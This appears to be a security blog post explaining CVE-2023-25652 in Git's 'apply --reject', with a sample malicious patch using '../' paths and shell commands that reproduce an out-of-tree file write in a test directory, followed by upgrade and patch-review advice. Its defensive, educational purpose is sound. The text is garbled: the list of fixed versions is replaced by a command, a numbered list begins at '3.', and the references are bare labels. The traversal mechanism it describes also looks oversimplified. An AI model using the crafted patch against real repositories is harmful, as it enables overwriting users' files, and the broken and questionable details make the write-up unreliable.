Git is used by millions of developers and enterprises to track changes in source code. It's the backbone of collaboration on open source and commercial projects. But even the most well-trusted tools can sometimes hide dangerous bugs, and one such vulnerability was found in Git's apply command. Today, we're going to break down everything you need to know about CVE-2023-25652, including what it is, how it can be exploited, code examples, and how to protect yourself.

What is CVE-2023-25652?

CVE-2023-25652 is a vulnerability in multiple versions of Git—basically, any version before these fixed releases:

git apply --reject [patch-file]

By feeding specially crafted patches to this command, an attacker could overwrite files outside your working directory. This could potentially allow them to plant malicious content on your system if you use git apply --reject on patches from unknown or untrusted sources.

Why Is This Dangerous?

Normally, when there's a conflict in a patch, git apply --reject writes the rejected changes (called "hunks") to *.rej files. These files help you manually resolve conflicts. But because of this flaw, a malicious patch could trick Git into writing those .rej files anywhere on your system, not just inside your repo.

For example:  
Imagine your project lives in /home/alex/myproject. By applying a bad patch, an attacker could make Git write a .rej file to /etc/passwd.rej or overwrite another important config file outside of /home/alex/myproject.

How Does the Exploit Work? (With Code Snippet)

Let's see a simplified version of how someone could craft a patch to abuse this.

A normal patch looks like this

diff --git a/hello.txt b/hello.txt
index e69de29..1b2e4d4 100644
--- a/hello.txt
+++ b/hello.txt
@@ -, +1,2 @@
+Hello, World!
+This is safe.

A malicious patch might look like this (pay attention to the path)

diff --git a/../outside.txt b/../outside.txt
index e69de29..1b2e4d4 100644
--- a/../outside.txt
+++ b/../outside.txt
@@ -, +1,2 @@
+Malicious content
+Added here!

The ../outside.txt is the trick. When a conflict happens, Git tries to write to ../outside.txt.rej, which means it will place a file one level up from your project—outside the repo.

Step 2: The Command

git apply --reject malicious.patch


If there is a hunk that can't be applied (which can be forced by the attacker), Git tries to save the rejected hunk to a .rej file using the path from the patch, and due to the vulnerability, it can escape the project directory.

If your file structure is like

/home/alex/
  myproject/
    (repo files...)
  outside.txt

After running git apply --reject malicious.patch, /home/alex/outside.txt.rej will be *overwritten* with the patch's rejected content.

Let's make a test directory and try this out (ONLY for education, never do this on production!)

mkdir test-repo
cd test-repo
git init
touch innocent.txt
cd ..
echo "TARGET" > sensitive.txt

# Now create the malicious patch (as above), save as 'exploit.patch'

cd test-repo
git apply --reject ../exploit.patch
cd ..
cat sensitive.txt.rej

If vulnerable, you will see that sensitive.txt.rej is now present next to your repo, possibly overwriting a previous file.

- Official CVE entry
- Git Security Announcement
- Full patch/fix diff
- Git mailing list announcement
- Analyzed on Tenable

How Do I Protect Myself?

Easy fix: Upgrade!

You can check your Git version with

git --version

`

3. Look at where rejected .rej files might be written—if you see paths like ../, don't apply.

Summary Table

| Risk               | Description                        | Solution                             |
|--------------------|------------------------------------|--------------------------------------|
| Outdated Git       | Vulnerable to exploit              | Upgrade to patched version           |
| Untrusted patches  | Malicious outside writes possible  | Avoid --reject on such patches     |
| No visibility      | Patches may touch outside paths    | Use git apply --stat to review     |

Final Thoughts

CVE-2023-25652 is a great example of why it's crucial to keep your tools updated and to be cautious with operations that might touch the file system in unexpected ways. Even something as mainstream as Git can have vulnerabilities that enable attackers to break out of the normal working directory and overwrite your files.

Stay safe, code smart, and spread the word!

Exclusive insight: If your company does code reviews or accepts patches from outside contributors, building an automated guard to scan for suspicious patch paths (with ../ or links) can save you from headaches down the road. Don't just trust a tool because it's popular—always stay curious about how it works under the hood.


*Written by your local security enthusiast. If you learned something, share this with your team!*

- Official Git project
- CVE-2023-25652
- Tenable Analysis
- Kernel.org git security


If you have questions or want to see more technical breakdowns, drop a request in the comments!

Timeline

Published on: 04/25/2023 20:15:00 UTC
Last modified on: 05/12/2023 05:15:00 UTC